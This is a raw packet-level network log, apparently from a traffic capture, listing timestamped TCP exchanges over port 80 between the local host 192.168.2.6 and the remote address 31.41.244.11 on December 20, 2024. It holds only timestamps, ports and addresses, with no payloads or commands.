Dec 20, 2024 17:43:54.894885063 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.897419930 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.897588968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.897993088 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.898231030 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.900615931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.900719881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.900739908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.900789976 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.903815031 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.904525042 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.904557943 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.904840946 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.907000065 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.907156944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.907310009 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.907380104 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.910259008 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.910482883 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.910517931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.910590887 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.913331985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.913388968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.913762093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.913863897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.916488886 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.916749001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.916779041 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.918232918 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.919727087 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.919868946 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.919910908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.919910908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.922902107 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.923233986 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.925194025 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.925467968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.926060915 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.926225901 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.926336050 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.926532984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.929306030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.929590940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.929634094 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.929634094 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.932487011 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.932532072 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.933172941 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.933784008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.935621977 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.935703993 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.935837984 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.935929060 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.938905954 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.938973904 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.939227104 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.939354897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.941988945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.942116976 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.942136049 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.942238092 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.945153952 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.945360899 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.945554972 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.945714951 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.948386908 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.948508978 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.948713064 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.948810101 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.951540947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.951596022 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.952260971 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.952389956 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.954720020 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.954787970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.954873085 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.955113888 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.957987070 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.958093882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.958518028 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.958570957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.961102962 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.961160898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.961457014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.961528063 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.964262009 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.964319944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.964382887 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.964468002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.967463970 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.967551947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.967578888 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.967624903 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.970628977 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.970684052 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.970746040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.970837116 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.973968983 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.974069118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.974124908 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.974350929 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.977013111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.977133036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.977300882 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.977353096 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.980185986 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.980258942 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.980289936 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.980364084 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.983340025 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.983491898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.051254988 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.051343918 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.051388025 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.051476955 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.052505970 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.052565098 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.052637100 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.052690029 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.055109024 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.055193901 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.055262089 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.055310965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.057667971 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.057764053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.057782888 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.057926893 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.060170889 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.060308933 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.060331106 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.060549021 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.062678099 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.062762022 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.062834024 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.062912941 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.065095901 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.065186977 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.065195084 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.065423965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.067509890 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.067564011 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.067615986 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.067708969 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.069814920 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.069905043 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.069945097 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.071096897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.072145939 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.072303057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.072328091 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.072397947 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.074691057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.074825048 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.074872017 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.074872017 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.076689005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.076808929 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.076827049 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.078231096 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.078905106 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.079185009 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.079216003 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.079330921 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.081057072 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.081226110 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.081248045 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.081284046 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.083293915 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.083354950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.083415985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.085346937 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.085361004 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.085500002 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.085515976 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.087086916 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.087538004 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.087656021 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.087665081 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.087805986 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.089704990 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.089785099 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.089785099 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.089834929 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.091667891 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.091785908 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.091801882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.091847897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.093723059 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.093780041 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.093816996 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.093816996 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.095804930 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.095925093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.095963001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.095963001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.097795963 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.097918987 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.097956896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.097956896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.099808931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.099890947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.099924088 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.099924088 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.101874113 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.102009058 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.102021933 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.102693081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.104015112 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.104057074 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.104136944 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.104219913 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.105770111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.105864048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.105895996 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.105950117 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.107753038 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.107839108 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.107994080 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.108232021 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.108860970 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.108973980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.108987093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.109028101 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.109997034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.110035896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.110119104 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.110227108 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.111135006 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.111242056 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.111249924 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.111288071 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.112322092 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.112423897 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.112457037 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.112539053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.113434076 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.113550901 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.113564014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.113606930 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.114547968 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.114684105 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.114694118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.114751101 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.115731955 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.115778923 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.115870953 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.115999937 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.116877079 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.116935968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.116986036 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.117032051 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.117971897 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.118032932 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.118060112 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.118108034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.119138956 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.119250059 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.119271040 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.119292021 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.120275021 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.120315075 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.120404005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.120697975 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.121532917 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.121583939 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.121619940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.121661901 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.122544050 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.122582912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.122620106 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.122733116 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.123754978 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.123819113 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.123869896 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.123905897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.124841928 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.124890089 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.124943018 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.124984980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.126003027 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.126041889 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.126065016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.126137018 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.127151966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.127249002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.127288103 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.127346992 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.128268003 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.128369093 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.128390074 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.128468037 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.129425049 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.129543066 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.129584074 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.129585028 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.130614996 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.130664110 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.130750895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.130805969 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.131705046 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.131752014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.131844044 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.131939888 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.132838964 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.132884026 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.132942915 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.133063078 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.133965969 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.134012938 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.134073019 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.134215117 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.135138988 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.135210991 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.135248899 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.135248899 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.243449926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.243510962 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.243515015 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.243551970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.243958950 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.244076014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.244105101 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.244194984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.245111942 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.245171070 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.245201111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.245277882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.246294975 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.246371031 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.246509075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.246553898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.247436047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.247482061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.247529030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.247586966 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.248558044 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.248603106 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.248629093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.248755932 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.249684095 CET	80	49799	31.41.244.11	192.168.2.6
